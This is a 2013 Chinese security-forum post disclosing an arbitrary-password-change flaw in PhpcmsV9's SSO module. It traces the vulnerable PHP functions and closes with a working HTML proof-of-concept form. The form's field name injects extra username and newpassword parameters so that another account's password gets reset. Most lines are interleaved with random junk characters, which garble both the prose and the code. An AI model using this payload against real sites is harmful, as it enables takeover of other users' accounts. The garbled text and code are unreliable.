找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1879|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
9 u. `5 v2 c, i; Z* a) c: t! d
3 @$ G& ~3 F1 k) X2 c7 ]% R9 n! t. K2 ~! ~1 g. x- M
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
+ m& i; B$ w. \5 a
/ o, q3 R' z" Z* m  p在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。  ^/ O7 J' p. ^3 \7 |( ?
% T' m* ]/ j  Z; _
我把它留给了你们。( E3 k5 V, l6 a0 K1 i9 i6 ]: R
不知道你们发现了它没有。* c: V' }8 Y: [& O6 T) B. F
2 f4 Q- ^# ^! v
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
+ ?+ \! s9 x3 y( J) P
+ x3 V7 `% s; U6 g' X8 {) e0 A所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
5 t+ A7 _' M8 W, P$ z" m9 t2 b. M3 x2 y8 e+ ^7 a/ ^
也就是
# W" l0 V5 F( |/ s6 ?& d2 `8 l7 x) N% c5 j7 i# f
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
9 W( I" `: \) q& n% C) d7 l! @
8 B0 h0 l4 K+ Y+ j$ I0 d" H要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。4 m. u2 }, o5 N1 G" ^+ ^3 ?

' P9 d- U, O; p2 I/ l$ n, t
6 K9 [" U/ k6 g其实我们有这样的机会,看看代码,如下:; r3 [: |6 \. K" c" |3 {6 g

" f4 s6 r, {- S, S7 x7 D( J( V/ F8 Y3 V
- y9 j9 B0 Z9 M2 m0 mpublic function auth_data($data) {; A( l" @* {$ S/ H: o4 Z- ]6 y! }" \% C  Q
                $s = $sep = '';0 T; m* ^6 Y- P+ S5 n/ x& m
                foreach($data as $k => $v) {! L- k# [" b" V) Q
                        if(is_array($v)) {) K; P: ?' y* g; A1 W2 t, O7 ^2 ~
                                $s2 = $sep2 = '';
! `6 @3 o8 {$ P. H                                foreach($v as $k2 => $v2) {
0 a8 }% w; Y3 w, b: k: k. E6 P; p: ?                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
5 X8 S* Y5 }: v8 {                                        $sep2 = '&';
" n2 s! F! o3 q4 x                                }
# G! |' f3 b9 L; {. p5 d9 b( q1 Y                                $s .= $sep.$s2;5 x, b$ E3 h  J, x, e% U; M
                        } else {
  N, ^  `" i6 E$ t- Z                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
1 n, g8 Z( G, s. S/ y3 \* C/ I                        }! s" b: N& ?; H# k- R  W: e
                        $sep = '&';
' L, M" g6 }5 \9 ^                }
+ t8 U# H/ t7 t9 i$ z1 V. b6 f( q& `% ~- s3 Q9 {  ?2 ]
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
. q) H: K+ x8 C: A6 e, }9 j8 L                return $auth_s;
$ R1 U0 ^' M2 k' W9 r  D        }
' {8 s! ]9 V, ~) t& w; B
  G# n; I: \5 Q可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
% m8 W4 t6 e$ F8 \" q- Z/ v& O% t% A: l4 d4 B6 t/ b8 l2 v
举个例子5 z/ q: u; x' F& g" |, S% W

9 o# e. O% Q! i6 L$ y8 x, h$a[aaa=a&bbb] = 'a';
0 s: c% I" F* x8 R6 G/ n/ P) W: o3 m# W/ |4 h5 B1 N
会变成aaa=a&bbb=a, z: |3 N/ x5 j8 Q
0 B) F. ?" e; t8 V" I
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
- L6 ?. o/ ]$ `
* e9 K) j1 q; t, d; y这个时候,我们可以再去看一个函数。" k/ v# C: Y! c& _, g

0 F0 B5 I8 K1 |9 U0 z6 T9 p! L; M就在这个文件内:
1 [% I* c1 f& p% V  j
9 |4 m. h1 O' L  L1 C$ D& v- \1 v: S5 W7 c1 M9 @$ t0 c  z
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {. }! L+ i) l  M8 h7 H) o& R
                if($email && !$this->_is_email($email)) {
( J# {: d+ g! g+ G" a+ K! x                        return -4;
; `2 a+ H+ q/ I4 Z& a                }
) L) [3 Z1 w% e/ B( z* B                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
5 u2 o& b/ H1 U1 {% O0 r* G8 M0 x        }# ^+ o3 J) v5 R& ?' Y

' p* ]7 n" c0 P- m0 O9 e  T这是向通行证发了这样一个请求。
/ i1 D: C6 I) a5 _. `0 s2 I
+ F2 S6 P6 a. N% V2 A我们再跟到通信证代码里去看看,就会有所发现。
5 O) q' @5 z" {2 ?+ P3 Y0 J" p* B, V6 A* c! e* v
- F* N4 B9 h% }' s+ Z' s
public function edit() {" o* u2 C+ k0 e5 D- D- W4 x8 I1 c/ a
//能省就省,太长了不是吗?& k' [* \* b/ c

* F" b8 y( P5 e3 t1 [$ Q# l% Nif($this->username) {7 \/ X# P/ X3 O0 {: w8 c
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。0 Q- I! a4 m7 H+ n: A1 f
                                $res = $this->db->update($data, array('username'=>$this->username));
, N2 U4 E/ ?3 s+ g* n1 M( c4 R+ V                        } else {4 R: [/ a! y( }6 f+ j% l
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
- O/ f+ w  O6 Y: x5 u1 s                                $res = $this->db->update($data, array('uid'=>$this->uid));
# ?& ^! ~$ C3 M; d$ R5 Q& A                        }
# a# _& r8 A' Y* t* j  ~% v& t) e$ h) \1 a9 b; _
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
. U" h4 u( q1 q; Q- ^1 ^1 {5 T7 z: h8 [, i8 P7 ?
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
0 g# N8 ?; T8 |7 i8 O# m
& N. H% I& F2 y- s) s: W很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。( D( {: p; f/ d- x, Y6 C: Y
$ Y3 \( ^  {7 L7 h  o, Z0 u1 S' {4 u
我当然找到了:
7 j/ A7 T+ R6 a; ~5 N) |phpcms9/phpcms/modules/member/index.php
, k" u+ {  Y7 y# T7 f$ O3 h  ^$ n( H  P" Q
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
( C) r* `7 h* F( L5 a. a6 J; e( ?9 H3 J
然后就没有然后了。
: D4 Q0 T; m; ]: k
) a1 Q! }& [& l' R$ p5 m& M<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
" r( q  }& u7 a$ v                                <table width="100%" cellspacing="0" class="table_form">6 G* v4 O4 I6 n$ a: ?
                                        <tr>; e2 ?9 F  {8 s  ]9 k
                                                <th width="80">邮箱:</th>        
  B& ^- H  K+ U3 e. d5 w- w                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>  z+ L" b. ^1 @  s" e
                                        </tr>
  E8 n3 r; U$ k* A* `/ x5 D9 ]                                        <tr>
1 y# L# v$ \; B9 E0 m' U1 G$ J& ^                                                <th width="80">原密码:</th>        
% m% M0 Z: M: W: l6 c! H                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>3 s* S7 I/ u! {- Q
                                        </tr>8 W; s8 [. Z# m! ^) ^) \' ?
                                        <tr>2 g: U7 f, Y5 r
                                                <th>新密码:</th>
  }# p4 a; |: H  P; N                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
4 x) ^  m: p1 O  S+ ^  ?5 u* ?                                        </tr>
# I  v3 y. L( ?7 {: X                                        <th></th>
: w8 M' ?8 r$ Z+ e4 y! n1 [                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>7 @$ k. A  t5 j, g/ {5 ^" k
                                        </tr>) {5 ]4 l, A" n4 \
                                </table>
" v7 Z) {$ e. G' v2 ]: J0 Q  {- A; w# M
                               
7 Y: H' N$ `$ g( c3 d                        </form>6 L. \4 s& v1 a: H$ R  w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表